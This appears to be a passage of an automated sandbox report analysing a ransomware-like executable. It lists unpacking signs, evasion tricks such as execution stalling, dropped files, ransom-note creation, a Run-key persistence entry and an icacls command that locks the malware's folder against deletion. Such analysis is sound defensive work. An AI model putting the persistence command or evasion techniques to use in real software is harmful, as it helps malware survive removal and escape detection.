Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\be\\ source: n41dQbiw1Y.exe, 00000004.00000003.1973252056.000000000301B000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350566668.000000000301B000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.1983378419.0000000003002000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2005825176.0000000003011000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: n41dQbiw1Y.exe, 00000004.00000003.2442804745.00000000036C8000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2424259289.00000000036C8000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2427745703.00000000036C8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: n41dQbiw1Y.exe, 00000004.00000003.2472131223.00000000038B9000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2472163347.00000000038D3000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2471556860.000000000389A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: n41dQbiw1Y.exe, 00000004.00000003.2427178097.0000000003882000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2417020079.0000000003873000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2424849270.0000000003873000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2428721282.00000000038B3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: EA9380F71644C4339E3FA1AC2\winload_prod.pdb}r source: n41dQbiw1Y.exe, 00000004.00000003.2385262212.0000000003013000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ad_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: n41dQbiw1Y.exe, 00000004.00000003.2386593352.0000000003678000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\p source: n41dQbiw1Y.exe, 00000004.00000003.2425095748.000000000300B000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2426044355.000000000301F000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2444358215.0000000003019000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2445300224.0000000003023000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\ source: n41dQbiw1Y.exe, 00000004.00000003.2417020079.0000000003873000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2424849270.0000000003873000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\+tF source: n41dQbiw1Y.exe, 00000004.00000003.2504232733.00000000039E0000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2487388165.0000000003A0B000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2507744772.0000000003A10000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\@ source: n41dQbiw1Y.exe, 00000004.00000003.2386593352.0000000003678000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385143991.000000000365E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385857931.0000000003661000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384668716.00000000035A5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error.azhi*cx source: n41dQbiw1Y.exe, 00000004.00000003.2385195082.0000000003002000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385355480.0000000003002000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385444405.0000000003009000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385479821.000000000300D000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350653223.0000000003009000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350608743.0000000003003000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\* source: n41dQbiw1Y.exe, 00000004.00000003.2415801787.0000000003519000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2416146714.0000000003550000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2415552835.0000000003502000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384782477.000000000353A000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2386384656.000000000354C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: n41dQbiw1Y.exe, 00000004.00000003.2517793723.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2416435845.0000000003668000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2386593352.0000000003678000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385143991.000000000365E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2415962079.000000000365A000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385857931.0000000003661000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2425361424.000000000361F000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2444253504.0000000003677000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2425570761.0000000003670000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2415801787.00000000035BC000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2415552835.00000000035BC000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2424259289.000000000361F000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2472270849.000000000367C000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384668716.00000000035A5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.azhi$V# source: n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\e\*Y source: n41dQbiw1Y.exe, 00000004.00000003.2442804745.00000000036C8000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2443042056.00000000036D5000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2424259289.00000000036C8000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2427745703.00000000036C8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\; source: n41dQbiw1Y.exe, 00000004.00000003.2386593352.0000000003678000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385143991.000000000365E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385857931.0000000003661000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384668716.00000000035A5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\*3d8cj source: n41dQbiw1Y.exe, 00000004.00000003.2492909076.0000000003516000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.errorCache\AppCache133408945539453665.txt} source: n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb+HO source: n41dQbiw1Y.exe, 00000004.00000003.2350653223.0000000003009000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350608743.0000000003003000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\eady\ source: n41dQbiw1Y.exe, 00000004.00000003.2415743092.000000000368C000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2416984023.0000000003697000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2415552835.00000000035BC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ata\Temp\Symbols\ntkrnlmp.pdb\ata\A source: n41dQbiw1Y.exe, 00000004.00000003.2512379483.00000000038C0000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2508743176.00000000038C2000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2512842174.00000000038C1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\)u& source: n41dQbiw1Y.exe, 00000004.00000003.2512279386.0000000003693000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2514186556.0000000003693000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2508446903.000000000368B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\5 source: n41dQbiw1Y.exe, 00000004.00000003.2386593352.0000000003678000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385143991.000000000365E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385857931.0000000003661000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384668716.00000000035A5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\Y9 source: n41dQbiw1Y.exe, 00000004.00000003.2424259289.000000000352B000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Unpacked PE file: 1.2.n41dQbiw1Y.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Unpacked PE file: 4.2.n41dQbiw1Y.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Unpacked PE file: 6.2.n41dQbiw1Y.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Unpacked PE file: 8.2.n41dQbiw1Y.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Unpacked PE file: 11.2.n41dQbiw1Y.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Unpacked PE file: 1.2.n41dQbiw1Y.exe.400000.0.unpack
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Unpacked PE file: 4.2.n41dQbiw1Y.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Unpacked PE file: 6.2.n41dQbiw1Y.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Unpacked PE file: 8.2.n41dQbiw1Y.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Unpacked PE file: 11.2.n41dQbiw1Y.exe.400000.0.unpack

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe

Code function: 1_2_00412220 GetCommandLineW,CommandLineToArgvW,PathFindFileNameW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,K32EnumProcesses,OpenProcess,K32EnumProcessModules,K32GetModuleBaseNameW,CloseHandle,

1_2_00412220

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_043530AF push ecx; retf	0_2_043530B2
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 0_2_04418F05 push ecx; ret	0_2_04418F18
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_00428565 push ecx; ret	1_2_00428578
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_0419A0AF push ecx; retf	3_2_0419A0B2
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 3_2_04388F05 push ecx; ret	3_2_04388F18
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0050D050 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0050D008 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0050D028 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0050D090 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0050D0A8 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0050D318 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0050C4E0 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0050D550 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_00428565 push ecx; ret	4_2_00428578
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0050D698 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0050C960 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0050C928 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0050C988 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0050C9A8 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0050CB78 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0050CD60 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0050CDF0 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0050CE58 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0050CF28 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0050CFC0 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0050CF90 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_042960AF push ecx; retf	5_2_042960B2
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Code function: 5_2_04368F05 push ecx; ret	5_2_04368F18

Source: n41dQbiw1Y.exe	Static PE information: section name: .text entropy: 7.508633480574993
Source: n41dQbiw1Y.exe.1.dr	Static PE information: section name: .text entropy: 7.508633480574993

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\AppData\Local\Temp\wctF86A.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\Local Settings\Temp\wctF86A.tmp.azhi (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\Local Settings\Temp\wct3D66.tmp.azhi (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\Local Settings\Temp\tmp3BB7.tmp.azhi (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\AppData\Local\Temp\tmp3BB7.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\AppData\Local\Temp\wct3D66.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Jump to dropped file

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\$WinREAgent\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\$WinREAgent\Scratch\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\_readme.txt	Jump to behavior

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe

Code function: 1_2_00481920 GetVersionExA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,CloseHandle,FreeLibrary,GlobalMemoryStatus,GetCurrentProcessId,

1_2_00481920

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe

Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03" /deny *S-1-1-0:(OI)(CI)(DE,DC)

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Found stalling execution ending in API Sleep call

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe

Stalling execution: Execution stalls by calling Sleep

graph_4-42088

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe

Code function: 0_2_0435171C rdtsc

0_2_0435171C

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe

Code function: 4_2_00481920 GetVersionExA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,NetStatisticsGet,NetStatisticsGet,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateToolhelp32Snapshot,GetTickCount,Heap32ListFirst,Heap32First,Heap32Next,GetTickCount,Heap32ListNext,GetTickCount,GetTickCount,GetTickCount,Process32First,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,CloseHandle,FreeLibrary,GlobalMemoryStatus,GetCurrentProcessId,

4_2_00481920

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: _malloc,_malloc,_wprintf,_free,GetAdaptersInfo,_free,_malloc,GetAdaptersInfo,_sprintf,_wprintf,_wprintf,_free,		1_2_0040E670
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: _malloc,_malloc,_wprintf,_free,GetAdaptersInfo,_free,_malloc,GetAdaptersInfo,_sprintf,_wprintf,_wprintf,_free,		4_2_0040E670

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe

Thread delayed: delay time: 700000

Jump to behavior

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wctF86A.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\wctF86A.tmp.azhi (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\wct3D66.tmp.azhi (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\tmp3BB7.tmp.azhi (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wct3D66.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\tmp3BB7.tmp	Jump to dropped file

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_1-39505

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe TID: 7528	Thread sleep count: 164 > 30			Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe TID: 8000	Thread sleep time: -700000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	1_2_00410160
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	1_2_0040F730
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	1_2_0040FB98
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	4_2_0040F730
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_00410160 Sleep,PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	4_2_00410160
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	4_2_0040FB98

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe

Thread delayed: delay time: 700000

Jump to behavior

Source: n41dQbiw1Y.exe, 00000001.00000002.1674086611.00000000006D1000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000001.00000002.1674086611.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000001.00000003.1667287334.00000000006D1000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000002.2519993895.0000000000802000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000002.2519858707.0000000000778000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2518901316.0000000000802000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000006.00000002.2904915871.0000000000927000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000008.00000002.1812654712.0000000000793000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 